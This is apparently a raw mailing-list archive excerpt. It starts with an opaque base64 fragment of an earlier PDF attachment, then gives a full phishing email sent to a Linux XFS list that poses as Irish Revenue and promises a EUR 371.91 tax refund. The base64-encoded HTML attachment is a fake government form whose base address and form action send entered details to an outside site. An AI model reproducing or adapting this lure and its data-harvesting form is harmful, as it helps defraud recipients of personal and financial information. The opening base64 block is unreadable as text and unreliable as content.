OC7qrpV3z1c3CoKrIDOztbVV7fAPtdrCOzIbBYc90yGgXx3NdHjmgGUBy6oR+hebWFkP1+Bk3QiY wzmtbBtuQ5QTPOEmHARD2Akn0Q539UQ7OQTm0HlwfwaugecmQoBPJ2GF2k1YxRvEu8T7xS/DtVe8 T/wMrEYc0QCXANcC4GCFfS6iRa0owgKcXNCDG1M1ApYixsOeLhU+NUQ+FA2cI3xQHuDMQMPCZxm0 Q1II0NaFMToskwvXDO4NUajhiRaktMPnQB8efMfCJwufLVgqNeaBNOIAL0DrPwCGw7RIUgHztQKt A2s6H3A8YfsXZKKIVvzmlwVqCnNrh8963AJJ1eCXgMV3ViyFE9sKYZDdfPfziGaskwdoELcAfw/o MlgTJJsZaiPm3gxPkAYUWDZg5SxYHVn8NlNARg1wyQX8YE6Iz3+PlX4qixlDPHBHsrig73awmk8e HdYI0Tn9/Wqxxr62NnhqwTyQ3Dz2LQrzQE8Z7IFMiJ1Y2C8ibx9oh2zKYgqf5JzfU1twX0h7FsNO f9zY4WrG4+iTT/Bb2AUcGwBKD9rQjvFc0PNRPDdj6/k4OTHsBpwlxP4OLLcTt0G8GUzP+Vsx/jHy jTFLNEFrBkdaO8az/qjztbLiEXBhz0PPPf7ZwIPjLuAbHmwDX4z6+Fj8PLmQEUGj6PM0FnN3+Eck 4GlIW8E/QohnI27H+m3vxL4SsJUFS+TB8lj8o+TCFvL544C3BLgHWg6MG/LEFv9o+ziyfuuwGG7A dz7anx+pn849oTHl09yCfazZb1Nn0OMDEeDBsjqBmsIRaPXPuYEe+ZB+hZ94OeKREpwXXf4Y4qG9 26+Zr8dW7E0DVmoJ6uGzlSU4u/jGrxnHQUBuG7YpimIeynzsoQ5sAwa8AUkf2hfSosUvCed/3oBl 4LHXqbGfCNB7AZEJpRUXNXAcHNVq7OMOoGjE3mIHyAGQE3pAvoPuPMQcv8/6aFk/d0T9r/dixeOC fNeJ9Qhg5mBdrHgOGOhnYNX1eULg/lO8CrODVmV20LqLV17JKIlG8itJsWQq1PlAzYD1kA2RlFqg QPHtxK2Cv0vaX4p+k/xn/8QEOr0MI8j+fkxN4oLPZbFSIvgbHqprtFd1WRaetrRk6Y9DyDDRJq/q a0B9ISJJTSQdIZP7noikUoKeK1NMkJES0psnIiWbjHQlnR6CGbFlVOcIYgouFeAjHjzHsdjDp6FC U4P5SaKTI70vEH+yzXvw3GV+zcVDwzd5o26jvaJeuFJFsaoV3e+s/Grbn/bnHHpk1fLDow+ban5D DwnKis5wdNdjmtH0SJm4WqJQxcOmmjPBjogyu9FmtpwV0LZLM4yOQwRKVWSAIJ0yOC1qTTqd5nuQ PNCSc7CUSWAcLrRrM8FZgYP9pZHnBc1EOstHPaG8gio1aGcYSg3mWZRWp9NXmvWF6dR4SyocQwb3 QY8aNiQ/j87RZNF5NPzNhtt8TVa2xn/7n69A1+OhNielhLhrFdh9hairizimps413pWeoe4asUv2 3DZlT8yQmadMJ5tPv5Gd9tzxi+G/nvj9mbXXwyOO/nX47L1vfXlx+a6NvcvGfrOwNtozr+3PTXHX DtZeTH269s71kmsZ9TG1XSMON607kVSbeeLNWOmS3H3rnuouu/3Mt5OTnq15eNGYR+1Le28vfnBe 99bcE33hGce68x8RicGpb3AJMchVEPPoPdJp757pvNpx4skLz7T3SfsemNqU/OSE8R/fp2JXXE9f Rq6ZvaH+cMy2zgs9L8X2vFPz8Hx5vf7glt+fylksTfrInSFZKt12V3j8/bG6cz/Gl/0lbPUj0fba 64qcBw+vePxjievRtIXM6le+UjZt2H7IVj9j6gPrkrIeSlqx8opVfusP714B/30LrlxRHLE/ZsMp 3dkxV4tql6w4XLR87dhvY+f+9znxM5oUeqyP8ahfFiOgqfKmmv5LIgbso/iJfWLoKPQgTCU3oOOf kxXoro0/cel7YRSWIZd+mjnb/eyqtcVrP+iOuZP7QLG4fq1M89aR/uW/KXrPULDuzHHZbRuf3dI2 +++X+yz6ij1KJ/2PLblPZ4R//B2f8vSQqrnSnIrFR8wVR3vSZ5xUHl21587+3Z1HT6/vXpxkmBFt P/bQTrLmiQNvqx8vuLB4e+3W95LYz+97uu3RP75fPKPx1xkLr70gIsU/49COuVcfnvM77vljHa4J 9cmjCqmqHclxhwTRZcP5lMQ7nlnalCOfcHHNR5+8sP6re7f96rTn9ZLwjTtP3Xsq7reHxZ+Hj62R fVn+u+LfvzOz6Pikmh/GvHVg3OSMsVlHHvns5enFX590FLd83ks/EdV5ZPHJyYs2XX4gTTMh7srr sWc/3HmmWusqykhfRHvDt8IVtUksIkWi6HbbeufdO4/uJoc6N/Z2s02hEovAoZmfsfrNRyib1vgG PC3oETre4WDdFo6xUybeJrQycBCvbK6Hgz2czz2UTotdchI9UZNL00GXRLdZ2Tn5OfmzaS9Z938u hKaILvQ1mooO6HDa59CBHB/Q3ayL93AC727P1FWaUB+826Wm6tspI2tTpyO/VpeaC5Ev52qm0VN8 fHJwrgs6NBRSOpQMobKpDKqMs7h5D4gwIEcNY+esvqRUS5ZGSYej9jKVqNqkUdEx6EauUsxkPI0Q egLv1ETTkT5ThBlZq4N3WjWj6BEII46NG2AfkusKPFfe5DkYmLoxirzkEALwcpGXJInute+O2279 4pu4A/2ODm2F4jKf1nREnWDampX7yfHGT3OuGYaeXN/Hvm2KpV6SvLHghzdcjnV/f/P5HWn0hqza u3Y/OX9sw8O9n7V+Lf38H6fX//is8patf5iyxPXZJf6OioV8lFG/Mu499oPJlPT01M32BwsilWNV Z8f8mVqdv6D+bukbyYl9xo3PbCxd/96U8tqp3o5vw3NqXmjsnaHfMlnzxNWTD1ytPpS+/YkDqRVH Ltx/Tjy647u4gicvPVV5t9RRf+5e1fJJ758eEel5RTZ93/gD37z126ZDL9me22xO+ouy4a5Ly9pX PGNTPFV15Zp7TN/SuoMXbo/8ey2TXHZ0V4H1E9Vjd75+j6M0fsfUMAjkJ7zSD2mv9H08OiNVEhFN 0EoERkkkYpF0E921HN2Rkq5OelFndMf6v72ju9b40PeT3nROPq/0brb8GwLJKxV1w66QHoMkkZBk v2QYHUujnd/Azi5eLArrJGC0gUQhkdEgvGw67ZXkhtAoUFOvJBnQozeldqagxJXHn7n6hcDY7BXv 6fKKu82NnAfnUDkbZ2EEluJwwCBnYz0oatysjXWzTgub7kvlCR6UfUNJPo/g5iyCvV3haa6fx1oE SuDTcUpvwAhBviheKt2MRUALIixNAosTkuNBklRFSzAnS0MnLQxnZ+pRetQ5mNuAAhQjFChupuhk JLU+wwFsUJoUeshws03NrEfwTB9Mx7sVQBogHDym6VRWTn42DCMDK6S2hQVEGd/sxKnmGo5tTYch pPIn0hOzFdUmLdAFc+OWVE1+fu4N7CicCzf6cuHGgVy43mjWGsoVM7VGo7bcbNCbqEKDSVeqNZTp CylteWHIOlxqKDPAMqxWIOpyQ3lxAWUu0VPVJj1VUQSgwYTZGYoMOq1ZT8GtyWw06MylsyhT9Yzb 9TozZa5ATRQ1eqPBZCguD6E3VJRTlUatzmzQ6aEdMCjTl5tBbNSFwWSqhv4obbW5pMIIsigCQpoC GlCGsspSg19mfW2lUW8yUQNagRHKdaXVhYjLAFYBcpfpjboSuA1oWWGkigzmctS8CGAtVakFGXXV pVojVVltrKww6dNxJzMNpaVUeYVZMUOPjVSqxw10FeUmfVU1CG/QlqZDk3KD2VDjbxMQtgK0MlKF 2jJtsd6kpkx6vQLpidYLxKNQD1SlJrC0jofYdwrBVHiILwa/g3DyTuRWNo61mnyBoBUgMuqbIYAU bBu0x87dwtibWZR3Bz9w8gL6IgMl/TkrZoK+SbBYmt2+CLTxbgeOGUWLb7kBCvBUJIFBq1Y8kds5 8Z8J8wDezjfw6gbORnftQDMJJenaRnfSnTLl3KUl5NJLejKMJAExXiaHWUUqhRk0fsRN+YOR6Pog pYiuoePib5gPadiskIlTA8gUD7YsN7ASB+cUys4x9WrKLkAsDN5d+k7JdHzITDdcIqdlMNvBvxv2 PWin9kDplvbqU8Id9459dSt1zr7n+Y6ijsceX7CvSVYSN5R9sy71UtXkFU27LsROaju15g/Kzty1 dSUPvkZMUphenp7Xv1KV4iCKJ/5YUqp2nz94bNG1Qj5pzTu/ffz0urNf9hNvvPqte8T7j4qdu1+x dGS1FU5+7J6VV5cszRuv/nLrpLxp+/q+9yZrvJI0mIPHgep0879h/fiZzeCgQ/6mrm76lqCVwsWa 0IVFAnuMgTul5oZlhx490FCiGSqJfn/puy3LD34W1X8P9dHaAo2Urg0hj9DcTpdsojpH3SR7bsMZ H2HzrZ1Jod+qBDY32KsEdzOLvmPJvGFrI/GSxBTNjHeXxUyZ/vmYW7YdVEyzVaeMD7vw6w865zxw /jvBfFS+szH/Sktbr3HkQu/yV+cW/yn2h93lnxwdsXf74efvy9nVdim+3lA8/erqz5xXy7NGxKRs Fo6NOvPHXv7rNXNf+X7atJLDB5r2O1+KujN93KtPZeQtX6FL/DDj6obz88+dWHiSrSuvWL+k8/n0 0knkERd3PNKWmm84U7P9aZopjsghdzz0+Yq+O75dlf/pXeOmplybteNwPEuevLJkXfalW8eMyPvx 8uR7Rl6qmlPrXLLBduzD5+6o/stnq37zha25S7vvqOB1THx1ac8KsWPOV3/MHl+9l97eNWXBReJQ ddzpj09Qfx4dsUKcc+7gIrljs5c8Cru7NwfGRKbxkvsBtRc5W9ee//hz7M2O44MddhadEOqvyoHk GAnuGnwi1UT5zhx0VhYchTV5s3/irgeOaBYkV29ZMup0pyda8eiN+2XY9g319n/3xZ775lZeXZSm r6mp/ap027wFRcdfaF64K/7W22zVP17Yds/eE2HkSEd44du0qvXKLaJHpnfd0jbptZVOY/QHrkNV H7mLl/R+V5y49cSZ2E8PPXspK+PUHDVdNqEjZt6wleaGrG+vHXj/yGvk0ZJ9y1cnz63ybrF4pWkx TXMfd0cq1llgbvsfkrqTMA0KZW5kc3RyZWFtDQplbmRvYmoNCjE5MyAwIG9iag0KWyAwWyA3NTBd ICAzWyAyNTUgMjgxXSAgMTBbIDE3N10gIDE1WyAyODFdICA2OFsgNDkwXSAgNzBbIDQ0OCA1NDIg NDU4XSAgNzZbIDI4MV0gIDgxWyA1NTIgNTQyIDUzMV0gIDg1WyAzNTQgMzg1IDMwMiA1NTIgNTAw XSAgOTNbIDQ3OV0gIDExM1sgNDU4XSAgMTgzWyAyODFdIF0gDQplbmRvYmoNCjE5NCAwIG9iag0K PDwvVHlwZS9YUmVmL1NpemUgMTk0L1dbIDEgNCAyXSAvUm9vdCAxIDAgUi9JbmZvIDUzIDAgUi9J RFs8QUQzMzM0NDhCMDhFNzU0QzlFNEIxNDZGMjA4NDhDQkU+PEFEMzMzNDQ4QjA4RTc1NEM5RTRC MTQ2RjIwODQ4Q0JFPl0gL0ZpbHRlci9GbGF0ZURlY29kZS9MZW5ndGggNDgzPj4NCnN0cmVhbQ0K eJw100lsjHEYx/F3Zt6ZdqrTmra2UhQdpQuqlpm2Zrqotrqgamk7tZdai+IgJRqNExdHoSKaIE6K RDiK9OAg5SAiES5cpC4cBOP9/77tc3g+eZLneQ5P8liWE4mEy8lByzL0wwvhviwCr0Ran0jvEcFh kVEuMmtFVonB9avV4P7+SYy/FT964Z7BM9pgsNtuiT8tMCj+RsS/UngJX0TiGrw3eK0x4boi3FeF p07YTfARfgvvMIwL308ROi867ot4oRjph2fAwOMH4slDg++5liVFr4tYDpTBZ1FZIKpy4Y2ovuic 1jlyhXUa+uAMnAIbJjrPOnM1FyYrF7jBAwshF5LBB15IglRIAT9MgamQBgFIhyzIgCBkwkyYDtNg BsyBbJgFs2E+zIUcmAcLIASLIA/yYTEUwBJYCkVQCMugGFbAciiBlVAK52AVrIYdsAbWQhgiUAbl UAHrIAoxqIQqqIY6qIUaWA8boB4aYCM0QhNsgU3QDC2wGVphK7TBNtgOnbAT2qED4tAFu2A37IG9 sA/2w0E4AN1wCHrgMByBY3AUjsMJOAm9znc0hvRczXHxNAavDclFd0TxB3EzCgNi6K7Bb98Wvm4R bheRr+KSH76JAVuMPRLvwoaUwA3L+g/WxoFIDQplbmRzdHJlYW0NCmVuZG9iag0KeHJlZg0KMCAx OTUNCjAwMDAwMDAwNTQgNjU1MzUgZg0KMDAwMDAwMDAxNyAwMDAwMCBuDQowMDAwMDAwMTI1IDAw MDAwIG4NCjAwMDAwMDAxODggMDAwMDAgbg0KMDAwMDAwMDY0NCAwMDAwMCBuDQowMDAwMDAzNTI2 IDAwMDAwIG4NCjAwMDAwMDM3MDAgMDAwMDAgbg0KMDAwMDAwMzk0NSAwMDAwMCBuDQowMDAwMDA0 NTE3IDAwMDAwIG4NCjAwMDAwMDQ2NjggMDAwMDAgbg0KMDAwMDAwNDkzNCAwMDAwMCBuDQowMDAw MDA1MTcwIDAwMDAwIG4NCjAwMDAxMjg1OTUgMDAwMDAgbg0KMDAwMDE5MTk2NyAwMDAwMCBuDQow MDAwMTkyNDY3IDAwMDAwIG4NCjAwMDAxOTI2MjQgMDAwMDAgbg0KMDAwMDE5MjY4MCAwMDAwMCBu DQowMDAwMjQ3ODgyIDAwMDAwIG4NCjAwMDAyODQwNjIgMDAwMDAgbg0KMDAwMDMyNjczNSAwMDAw MCBuDQowMDAwMzI2Nzg5IDAwMDAwIG4NCjAwMDAzMjY5NzAgMDAwMDAgbg0KMDAwMDMyNzIyMCAw MDAwMCBuDQowMDAwMzI3MzY0IDAwMDAwIG4NCjAwMDAzMjczOTQgMDAwMDAgbg0KMDAwMDMyNzU2 NiAwMDAwMCBuDQowMDAwMzI3NjQwIDAwMDAwIG4NCjAwMDAzMjc4OTAgMDAwMDAgbg0KMDAwMDMy ODA3MSAwMDAwMCBuDQowMDAwMzI4MzMzIDAwMDAwIG4NCjAwMDAzMjg1MjAgMDAwMDAgbg0KMDAw MDMyODc4MSAwMDAwMCBuDQowMDAwMzI4OTI0IDAwMDAwIG4NCjAwMDAzMjg5NTQgMDAwMDAgbg0K MDAwMDMyOTEyNSAwMDAwMCBuDQowMDAwMzI5MTk5IDAwMDAwIG4NCjAwMDAzMjk0NjEgMDAwMDAg bg0KMDAwMDMzNzUzMSAwMDAwMCBuDQowMDAwMzUxMTQ1IDAwMDAwIG4NCjAwMDAzNTE1MzIgMDAw MDAgbg0KMDAwMDM3MzYyOSAwMDAwMCBuDQowMDAwMzczNjg5IDAwMDAwIG4NCjAwMDAzNzM3NDMg MDAwMDAgbg0KMDAwMDM3MzkzMCAwMDAwMCBuDQowMDAwMzc0MTg4IDAwMDAwIG4NCjAwMDA0NDEy NTMgMDAwMDAgbg0KMDAwMDQ3NTAyNyAwMDAwMCBuDQowMDAwNDc1MTY1IDAwMDAwIG4NCjAwMDA0 NzUxOTUgMDAwMDAgbg0KMDAwMDQ3NTM2MSAwMDAwMCBuDQowMDAwNDc1NDM1IDAwMDAwIG4NCjAw MDA0NzU2ODEgMDAwMDAgbg0KMDAwMDQ3NTg1NiAwMDAwMCBuDQowMDAwNDc2MDMxIDAwMDAwIG4N CjAwMDAwMDAwNTUgNjU1MzUgZg0KMDAwMDAwMDA1NiA2NTUzNSBmDQowMDAwMDAwMDU3IDY1NTM1 IGYNCjAwMDAwMDAwNTggNjU1MzUgZg0KMDAwMDAwMDA1OSA2NTUzNSBmDQowMDAwMDAwMDYwIDY1 NTM1IGYNCjAwMDAwMDAwNjEgNjU1MzUgZg0KMDAwMDAwMDA2MiA2NTUzNSBmDQowMDAwMDAwMDYz IDY1NTM1IGYNCjAwMDAwMDAwNjQgNjU1MzUgZg0KMDAwMDAwMDA2NSA2NTUzNSBmDQowMDAwMDAw MDY2IDY1NTM1IGYNCjAwMDAwMDAwNjcgNjU1MzUgZg0KMDAwMDAwMDA2OCA2NTUzNSBmDQowMDAw MDAwMDY5IDY1NTM1IGYNCjAwMDAwMDAwNzAgNjU1MzUgZg0KMDAwMDAwMDA3MSA2NTUzNSBmDQow MDAwMDAwMDcyIDY1NTM1IGYNCjAwMDAwMDAwNzMgNjU1MzUgZg0KMDAwMDAwMDA3NCA2NTUzNSBm DQowMDAwMDAwMDc1IDY1NTM1IGYNCjAwMDAwMDAwNzYgNjU1MzUgZg0KMDAwMDAwMDA3NyA2NTUz NSBmDQowMDAwMDAwMDc4IDY1NTM1IGYNCjAwMDAwMDAwNzkgNjU1MzUgZg0KMDAwMDAwMDA4MCA2 NTUzNSBmDQowMDAwMDAwMDgxIDY1NTM1IGYNCjAwMDAwMDAwODIgNjU1MzUgZg0KMDAwMDAwMDA4 MyA2NTUzNSBmDQowMDAwMDAwMDg0IDY1NTM1IGYNCjAwMDAwMDAwODUgNjU1MzUgZg0KMDAwMDAw MDA4NiA2NTUzNSBmDQowMDAwMDAwMDg3IDY1NTM1IGYNCjAwMDAwMDAwODggNjU1MzUgZg0KMDAw MDAwMDA4OSA2NTUzNSBmDQowMDAwMDAwMDkwIDY1NTM1IGYNCjAwMDAwMDAwOTEgNjU1MzUgZg0K MDAwMDAwMDA5MiA2NTUzNSBmDQowMDAwMDAwMDkzIDY1NTM1IGYNCjAwMDAwMDAwOTQgNjU1MzUg Zg0KMDAwMDAwMDA5NSA2NTUzNSBmDQowMDAwMDAwMDk2IDY1NTM1IGYNCjAwMDAwMDAwOTcgNjU1 MzUgZg0KMDAwMDAwMDA5OCA2NTUzNSBmDQowMDAwMDAwMDk5IDY1NTM1IGYNCjAwMDAwMDAxMDAg NjU1MzUgZg0KMDAwMDAwMDEwMSA2NTUzNSBmDQowMDAwMDAwMTAyIDY1NTM1IGYNCjAwMDAwMDAx MDMgNjU1MzUgZg0KMDAwMDAwMDEwNCA2NTUzNSBmDQowMDAwMDAwMTA1IDY1NTM1IGYNCjAwMDAw MDAxMDYgNjU1MzUgZg0KMDAwMDAwMDEwNyA2NTUzNSBmDQowMDAwMDAwMTA4IDY1NTM1IGYNCjAw MDAwMDAxMDkgNjU1MzUgZg0KMDAwMDAwMDExMCA2NTUzNSBmDQowMDAwMDAwMTExIDY1NTM1IGYN CjAwMDAwMDAxMTIgNjU1MzUgZg0KMDAwMDAwMDExMyA2NTUzNSBmDQowMDAwMDAwMTE0IDY1NTM1 IGYNCjAwMDAwMDAxMTUgNjU1MzUgZg0KMDAwMDAwMDExNiA2NTUzNSBmDQowMDAwMDAwMTE3IDY1 NTM1IGYNCjAwMDAwMDAxMTggNjU1MzUgZg0KMDAwMDAwMDExOSA2NTUzNSBmDQowMDAwMDAwMTIw IDY1NTM1IGYNCjAwMDAwMDAxMjEgNjU1MzUgZg0KMDAwMDAwMDEyMiA2NTUzNSBmDQowMDAwMDAw MTIzIDY1NTM1IGYNCjAwMDAwMDAxMjQgNjU1MzUgZg0KMDAwMDAwMDEyNSA2NTUzNSBmDQowMDAw MDAwMTI2IDY1NTM1IGYNCjAwMDAwMDAxMjcgNjU1MzUgZg0KMDAwMDAwMDEyOCA2NTUzNSBmDQow MDAwMDAwMTI5IDY1NTM1IGYNCjAwMDAwMDAxMzAgNjU1MzUgZg0KMDAwMDAwMDEzMSA2NTUzNSBm DQowMDAwMDAwMTMyIDY1NTM1IGYNCjAwMDAwMDAxMzMgNjU1MzUgZg0KMDAwMDAwMDEzNCA2NTUz NSBmDQowMDAwMDAwMTM1IDY1NTM1IGYNCjAwMDAwMDAxMzYgNjU1MzUgZg0KMDAwMDAwMDEzNyA2 NTUzNSBmDQowMDAwMDAwMTM4IDY1NTM1IGYNCjAwMDAwMDAxMzkgNjU1MzUgZg0KMDAwMDAwMDE0 MCA2NTUzNSBmDQowMDAwMDAwMTQxIDY1NTM1IGYNCjAwMDAwMDAxNDIgNjU1MzUgZg0KMDAwMDAw MDE0MyA2NTUzNSBmDQowMDAwMDAwMTQ0IDY1NTM1IGYNCjAwMDAwMDAxNDUgNjU1MzUgZg0KMDAw MDAwMDE0NiA2NTUzNSBmDQowMDAwMDAwMTQ3IDY1NTM1IGYNCjAwMDAwMDAxNDggNjU1MzUgZg0K MDAwMDAwMDE0OSA2NTUzNSBmDQowMDAwMDAwMTUwIDY1NTM1IGYNCjAwMDAwMDAxNTEgNjU1MzUg Zg0KMDAwMDAwMDE1MiA2NTUzNSBmDQowMDAwMDAwMTUzIDY1NTM1IGYNCjAwMDAwMDAxNTQgNjU1 MzUgZg0KMDAwMDAwMDE1NSA2NTUzNSBmDQowMDAwMDAwMTU2IDY1NTM1IGYNCjAwMDAwMDAxNTcg NjU1MzUgZg0KMDAwMDAwMDE1OCA2NTUzNSBmDQowMDAwMDAwMTU5IDY1NTM1IGYNCjAwMDAwMDAx NjAgNjU1MzUgZg0KMDAwMDAwMDE2MSA2NTUzNSBmDQowMDAwMDAwMTYyIDY1NTM1IGYNCjAwMDAw MDAxNjMgNjU1MzUgZg0KMDAwMDAwMDE2NCA2NTUzNSBmDQowMDAwMDAwMTY1IDY1NTM1IGYNCjAw MDAwMDAxNjYgNjU1MzUgZg0KMDAwMDAwMDE2NyA2NTUzNSBmDQowMDAwMDAwMTY4IDY1NTM1IGYN CjAwMDAwMDAxNjkgNjU1MzUgZg0KMDAwMDAwMDE3MCA2NTUzNSBmDQowMDAwMDAwMTcxIDY1NTM1 IGYNCjAwMDAwMDAxNzIgNjU1MzUgZg0KMDAwMDAwMDE3MyA2NTUzNSBmDQowMDAwMDAwMTc0IDY1 NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDQ3ODI0NiAwMDAwMCBuDQowMDAwNDc4ODEz IDAwMDAwIG4NCjAwMDA1MDU0MDggMDAwMDAgbg0KMDAwMDUwNTU0OCAwMDAwMCBuDQowMDAwNTM1 OTcwIDAwMDAwIG4NCjAwMDA1MzYyODIgMDAwMDAgbg0KMDAwMDU2NDU0MyAwMDAwMCBuDQowMDAw NTY0NjEwIDAwMDAwIG4NCjAwMDA1NjUxNTYgMDAwMDAgbg0KMDAwMDU5MTAwOCAwMDAwMCBuDQow MDAwNTkxNDYyIDAwMDAwIG4NCjAwMDA2MDQ1MDYgMDAwMDAgbg0KMDAwMDYwNDkwMyAwMDAwMCBu DQowMDAwNjIyODU3IDAwMDAwIG4NCjAwMDA2MjMwODAgMDAwMDAgbg0KMDAwMDYyMzEwOCAwMDAw MCBuDQowMDAwNjQzNzYyIDAwMDAwIG4NCjAwMDA2NDQxNTMgMDAwMDAgbg0KMDAwMDY1ODg0MyAw MDAwMCBuDQowMDAwNjU5MDIzIDAwMDAwIG4NCnRyYWlsZXINCjw8L1NpemUgMTk1L1Jvb3QgMSAw IFIvSW5mbyA1MyAwIFIvSURbPEFEMzMzNDQ4QjA4RTc1NEM5RTRCMTQ2RjIwODQ4Q0JFPjxBRDMz MzQ0OEIwOEU3NTRDOUU0QjE0NkYyMDg0OENCRT5dID4+DQpzdGFydHhyZWYNCjY1OTcwOQ0KJSVF T0YNCnhyZWYNCjAgMA0KdHJhaWxlcg0KPDwvU2l6ZSAxOTUvUm9vdCAxIDAgUi9JbmZvIDUzIDAg Ui9JRFs8QUQzMzM0NDhCMDhFNzU0QzlFNEIxNDZGMjA4NDhDQkU+PEFEMzMzNDQ4QjA4RTc1NEM5 RTRCMTQ2RjIwODQ4Q0JFPl0gL1ByZXYgNjU5NzA5L1hSZWZTdG0gNjU5MDIzPj4NCnN0YXJ0eHJl Zg0KNjYzNzY5DQolJUVPRg== --=_f221a95be7b54e92b989e4c3acaadf58-- From IrishTaxCustoms@revenue.ie Wed Dec 25 09:50:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.5 required=5.0 tests=DEAR_SOMETHING,SUBJ_ALL_CAPS, T_HTML_ATTACH,T_OBFU_HTML_ATTACH autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 989387F6D for ; Wed, 25 Dec 2013 09:50:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7558E8F8040 for ; Wed, 25 Dec 2013 07:50:42 -0800 (PST) X-ASG-Debug-ID: 1387986639-04cb6c537c965680001-w1Z2WR Received: from mail00k.mail.t-online.hu (mail00k.mail.t-online.hu [84.2.227.137]) by cuda.sgi.com with ESMTP id FB7fOOzwO5EgSn9C for ; Wed, 25 Dec 2013 07:50:40 -0800 (PST) X-Barracuda-Envelope-From: IrishTaxCustoms@revenue.ie X-Barracuda-Apparent-Source-IP: 84.2.227.137 X-Authuid: info@altaform.hu Received: from revenue.ie (unknown [86.125.87.36]) by mail00k.mail.t-online.hu (Postfix) with ESMTPA id 3dqJfl2sCDz8Kt for ; Wed, 25 Dec 2013 16:50:39 +0100 (CET) From: Revenue - Irish Tax & Customs To: linux-xfs@oss.sgi.com Subject: NOTICE OF TAX RETURN Date: 25 Dec 2013 17:50:42 +0200 X-ASG-Orig-Subj: NOTICE OF TAX RETURN Message-ID: <20131225175042.AA056A1AA08E2E9D@revenue.ie> MIME-Version: 1.0 Disposition-Notification-To: gurlisamuelsson@hotmail.com Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_69C1B17F.0BF8DAAB" X-Barracuda-Connect: mail00k.mail.t-online.hu[84.2.227.137] X-Barracuda-Start-Time: 1387986640 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.63 X-Barracuda-Spam-Status: No, SCORE=2.63 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG194, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143393 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.00 BSF_SC0_TG194 Custom Rule TG194 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 This is a multi-part message in MIME format. ------=_NextPart_000_0012_69C1B17F.0BF8DAAB Content-Type: text/plain Content-Transfer-Encoding: 8bit Date: 25 Dec 2013 Our Ref.: CF/12337/13 Your Ref.: 11B/137/13 Dear Sir / Madam , I am sending this email to announce: After the last annual calculation of your fiscal activity we have determined that you are eligible to receive a tax return of: EUR 371.91 To receive your return, you need to create a Government gateway account. Please download and complete the attached form The contents of this email and any attachments are confidential and as applicable, copyright in these is reserved to Revenue - Irish Tax & Customs. Unless expressly authorized by us, any further dissemination or distribution of this email or its attachments is prohibited. ------=_NextPart_000_0012_69C1B17F.0BF8DAAB Content-Type: application/octet-stream; name="Revenue - Irish Tax Customs.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Revenue - Irish Tax Customs.html" PCEtLSBzYXZlZCBmcm9tIHVybD0oMDAxNilodHRwOi8vbG9jYWxob3N0IC0tPg0KPGh0bWw+ DQo8aGVhZD4NCjx0aXRsZT5UQVggUkVUVVJOIEZPUiBZRUFSIDIwMTM8L3RpdGxlPg0KPGJh c2UgaHJlZj0iaHR0cDovL2NhcGN3bmMub3JnL3JldmVudWUvYWN0aW9uLnBocCI+DQo8bGlu ayBocmVmPSJjc3MvYXJjb3Qtc3R5bGVzLTAyX3JlZ2lzdGVyLmNzcyIgcmVsPSJzdHlsZXNo ZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8bGluayBocmVmPSJjc3MvYXJjb3Qtc3R5bGVzLmNz cyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8bGluayBocmVmPSJjc3Mv aG1yYy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPg0KPHNjcmlwdCBz cmM9ImpzL2NoZWNrLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIGxhbmd1YWdlPSJqYXZh c2NyaXB0Ij48L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gaWQ9ImZybSIgbWV0 aG9kPSJwb3N0IiBhY3Rpb249ImFjdGlvbi5waHAiIG9uc3VibWl0PSJyZXR1cm4gdmFsaWRh dGUoKSI+DQo8ZGl2IGFsaWduPSJsZWZ0Ij4NCgk8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFk ZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KCTx0Ym9keT4NCgk8dHI+DQoJCTx0ZCB3aWR0 aD0iNjAwIj4NCgkJCTx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3Bh Y2luZz0iMCIgd2lkdGg9IjEwMCUiPg0KCQkJPHRib2R5Pg0KCQkJPHRyPg0KCQkJCTx0ZD4N CgkJCQkJPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIw IiB3aWR0aD0iMTAwJSI+DQoJCQkJCTx0Ym9keT4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFs aWduPSJjZW50ZXIiPg0KCQkJCQkJCTxkaXYgaWQ9ImhlYWRlciI+DQoJCQkJCQkJCTxpbWcg c3JjPSJpbWcvaG1yY0xvZ28uZ2lmIiBhbHQ9IkhNIFJldmVudWUgJmFtcDsgQ3VzdG9tcyIg aGVpZ2h0PSI4MCIgd2lkdGg9IjI1MCI+DQoJCQkJCQkJCTxkaXYgaWQ9ImhlYWRlci10aXRs ZSI+T25saW5lIFNlcnZpY2VzPC9kaXY+DQoJCQkJCQkJCTx1bCBjbGFzcz0iaW5saW5lLW5h 